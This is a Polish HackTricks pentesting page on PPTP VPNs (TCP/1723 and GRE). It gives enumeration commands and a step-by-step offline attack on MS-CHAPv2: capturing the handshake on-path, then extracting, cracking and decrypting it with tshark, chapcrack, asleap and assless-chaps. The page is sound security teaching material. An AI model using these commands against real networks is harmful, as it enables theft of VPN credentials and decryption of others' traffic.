1723 - Pentesting PPTP

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Podstawowe informacje

Point-to-Point Tunneling Protocol (PPTP) to stary protokół tunelowania VPN używany do zdalnego dostępu. Wykorzystuje TCP port 1723 dla kanału kontrolnego oraz protokół IP 47 (GRE) do przenoszenia payloadu PPP. Ruch wewnątrz tunelu jest zwykle zabezpieczony za pomocą MPPE, natomiast uwierzytelnianie często opiera się na MS-CHAPv2.

Z perspektywy ofensywnej interesująca część zwykle nie dotyczy samego połączenia kontrolnego, lecz faktu, że przechwycenie handshake PPTP/MS-CHAPv2 może umożliwić odzyskanie hasła lub NT-hasha w trybie offline. Pamiętaj też, że host może odpowiadać na TCP/1723, podczas gdy tunel nadal nie działa, ponieważ GRE (protocol 47) jest filtrowany.

Default Port:1723

Enumeracja

nmap -Pn -sSV -p1723 <IP>
nmap -Pn -sO --protocol 47 <IP>

Jeśli potwierdzisz tylko tcp/1723 i pominiesz GRE, możesz łatwo odnieść błędne wrażenie, że VPN jest osiągalny. Podczas troubleshooting lub sniffing przechwyć zarówno ruch kontrolny, jak i enkapsulowany:

sudo tcpdump -ni <iface> 'tcp port 1723 or gre' -w pptp-handshake.pcap
tshark -r pptp-handshake.pcap -Y 'pptp || gre || ppp || chap'

Brute Force

Uwagi dotyczące ataku

MS-CHAPv2 handshake capture

Dla PPTP istotne są wymiany uwierzytelniania PPP transportowane wewnątrz GRE. W MS-CHAPv2 odpowiedź zależy od:

  • Serwer AuthenticatorChallenge
  • Klient Peer-Challenge
  • username
  • NT-Response

To oznacza, że packet capture często wystarcza, aby przenieść atak offline. Jeśli możesz sniff the initial connection, poproś użytkownika o ponowne połączenie lub ustaw się on-path, przechwyć handshake i wyodrębnij dane challenge/response.

Przydatne szybkie filtry:

tshark -r pptp-handshake.pcap -Y 'chap'
tshark -r pptp-handshake.pcap -Y 'ppp and chap'

Parsuj i odszyfruj za pomocą chapcrack

chapcrack wciąż jest jednym z najprostszych sposobów przetwarzania PPTP capture:

chapcrack.py parse -i pptp-handshake.pcap

Jeśli odzyskasz podstawowy materiał tajny, możesz odszyfrować PPTP packet capture:

chapcrack.py decrypt -i pptp-handshake.pcap -o pptp-decrypted.pcap -n <recovered_nt_hash_or_token>

Jest to szczególnie przydatne, gdy celem jest nie tylko odzyskanie poświadczeń, ale także session decryption i post-auth traffic analysis.

Crack challenge/response material

Jeśli już wyodrębniłeś challenge/response pair, asleap nadal może być użyty bezpośrednio przeciwko materiałowi PPTP/MS-CHAPv2:

asleap -C 58:16:d5:ac:4b:dc:e4:0f -R 50:ae:a3:0a:10:9e:28:f9:33:1b:44:b1:3d:9e:20:91:85:e8:2e:c3:c5:4c:00:23 -W /usr/share/wordlists/rockyou.txt

asleap obsługuje również pracę z przechwyconymi pakietami lub wstępnie obliczonymi tabelami wyszukiwania, ale podczas testów PPTP najczęściej stosowany przebieg jest następujący:

  1. Przechwyć handshake PPTP
  2. Wyodrębnij challenge/response
  3. Przeprowadź łamanie offline przy użyciu asleap, chapcrack lub niestandardowej procedury

Najnowsze techniki obejmują także NT-hash-first workflowy, takie jak assless-chaps, które odzyskują NT hash z materiału challenge-response MS-CHAPv2/NTLMv1, wykorzystując przygotowaną bazę hashy. Może to być szybsze niż konwencjonalne łamanie haseł, jeśli utrzymujesz dobrą kolekcję NT-hashów:

./assless-chaps <challenge> <response> <hashes.db>

To ma znaczenie, ponieważ dla PPTP odzyskany NT hash jest sam w sobie operacyjnie cenny: po jego uzyskaniu można go użyć do walidacji cracka, odszyfrowania captures i pivotu do Windows-oriented reuse checks.

Podsumowanie słabości protokołu

  • PPTP zależy od separate GRE data channel, więc zapory często wystawiają tcp/1723, jednocześnie po cichu przerywając tunel.
  • MS-CHAPv2 security effectively collapses to recovering DES-derived material / NT-hash-equivalent secrets, co sprawia, że passive capture jest znacznie bardziej niebezpieczny niż w przypadku modern VPNs.
  • Nawet jeśli hasło nie zostanie od razu odzyskane, handshake zwykle można zachować i zaatakować offline później.

Referencje

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks